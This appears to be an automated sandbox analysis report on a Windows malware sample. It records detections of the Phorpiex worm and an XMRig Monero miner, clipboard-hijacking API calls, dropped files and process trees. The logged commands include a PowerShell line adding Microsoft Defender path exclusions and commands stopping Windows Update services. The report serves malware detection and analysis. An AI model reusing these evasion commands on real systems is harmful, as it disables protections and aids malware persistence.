Source: powershell.exe, 0000001E.00000002.2891902429.0000025209421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 0000001E.00000002.2924839612.000002521948A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

3_2_00404970

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	3_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	4_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	18_2_00404970

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_004059B0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

3_2_004059B0

Source: C:\Users\user\AppData\Local\Temp\21324.scr

3_2_004059B0

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: 4.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 21324.scr PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4492, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\21324.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: winupsecvmgr.exe PID: 4044, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: Detects coinmining malware Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040FB45 NtQueryVirtualMemory,	3_2_0040FB45
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	3_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040FB45 NtQueryVirtualMemory,	4_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	4_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040FB45 NtQueryVirtualMemory,	18_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	18_2_0040DF20
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Code function: 19_2_00007FFD34780F11 NtQuerySystemInformation,	19_2_00007FFD34780F11
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89A3F40 NtReadFile,	37_2_00007FF7B89A3F40

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe

File created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys

Source: C:\Users\user\AppData\Local\Temp\21324.scr

File created: C:\Windows\sysppvrdnvs.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004084D0	3_2_004084D0
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004084F9	3_2_004084F9
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_00404090	3_2_00404090
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040AEB0	3_2_0040AEB0
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_00404970	3_2_00404970
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040F908	3_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004084D0	4_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004084F9	4_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_00404090	4_2_00404090
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040AEB0	4_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_00404970	4_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040F908	4_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004084D0	18_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004084F9	18_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_00404090	18_2_00404090
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040AEB0	18_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_00404970	18_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040F908	18_2_0040F908
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD347934FA	30_2_00007FFD347934FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD3479A8FB	30_2_00007FFD3479A8FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD3479B8F2	30_2_00007FFD3479B8F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD3479B9F2	30_2_00007FFD3479B9F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD347971F3	30_2_00007FFD347971F3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD347952FA	30_2_00007FFD347952FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD3479B6FD	30_2_00007FFD3479B6FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD347992B4	30_2_00007FFD347992B4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD34793BF2	30_2_00007FFD34793BF2
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89B85C0	37_2_00007FF7B89B85C0
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89A7190	37_2_00007FF7B89A7190
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89B3DE0	37_2_00007FF7B89B3DE0
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89B6D80	37_2_00007FF7B89B6D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD347792FA	38_2_00007FFD347792FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD347752FA	38_2_00007FFD347752FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD3477A7F2	38_2_00007FFD3477A7F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD34773027	38_2_00007FFD34773027
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD34773BCA	38_2_00007FFD34773BCA

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe 1753AD35ECE25AB9A19048C70062E9170F495E313D7355EBBBA59C38F5D90256
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe 9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D

Source: C:\Windows\System32\conhost.exe

Code function: String function: 00007FF7B89A3F40 appears 34 times

Source: nxmr[1].exe.27.dr	Static PE information: Number of sections : 11 > 10
Source: winupsecvmgr.exe.28.dr	Static PE information: Number of sections : 11 > 10
Source: 1239611256.exe.27.dr	Static PE information: Number of sections : 11 > 10

Source: 1881231804.exe.4.dr

Static PE information: No import functions for PE file found

Source: Us051y7j25.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f

Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: winupsecvmgr.exe PID: 4044, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@64/42@1/40

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_00406F70 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

3_2_00406F70

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_00406660 CoInitialize,CoCreateInstance,wsprintfW,wsprintfW,

3_2_00406660

Source: C:\Users\user\Desktop\Us051y7j25.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\sysppvrdnvs.exe	Mutant created: \Sessions\1\BaseNamedObjects\mmn7nnm8na
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6688:120:WilError_03
Source: C:\Windows\System32\dwm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\vljmdnomkxppwbqz
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6788:120:WilError_03

Source: C:\Users\user\Desktop\Us051y7j25.exe

File created: C:\Users\user\AppData\Local\Temp\21324.scr

Jump to behavior

Source: C:\Users\user\Desktop\Us051y7j25.exe	Command line argument: WinDefucker	0_2_001410B0
Source: C:\Users\user\Desktop\Us051y7j25.exe	Command line argument: 7d77w7d7	0_2_001410B0
Source: C:\Users\user\Desktop\Us051y7j25.exe	Command line argument: fuyuyuyuyuyu	0_2_001410B0
Source: C:\Users\user\Desktop\Us051y7j25.exe	Command line argument: %s\%s	0_2_001410B0
Source: C:\Users\user\Desktop\Us051y7j25.exe	Command line argument: %s\%d%s	0_2_001410B0

Source: Us051y7j25.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\1881231804.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\Us051y7j25.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Us051y7j25.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Us051y7j25.exe	Virustotal: Detection: 41%
Source: Us051y7j25.exe	ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\Us051y7j25.exe "C:\Users\user\Desktop\Us051y7j25.exe"
Source: C:\Users\user\Desktop\Us051y7j25.exe	Process created: C:\Users\user\AppData\Local\Temp\21324.scr "C:\Users\user\AppData\Local\Temp\21324.scr" /S
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait
Source: unknown	Process created: C:\Windows\sysppvrdnvs.exe "C:\Windows\sysppvrdnvs.exe"
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\1881231804.exe C:\Users\user\AppData\Local\Temp\1881231804.exe
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\2314627202.exe C:\Users\user\AppData\Local\Temp\2314627202.exe
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\1091722296.exe C:\Users\user\AppData\Local\Temp\1091722296.exe
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Process created: C:\Users\user\AppData\Local\Temp\1239611256.exe C:\Users\user\AppData\Local\Temp\1239611256.exe
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\146916724.exe C:\Users\user\AppData\Local\Temp\146916724.exe
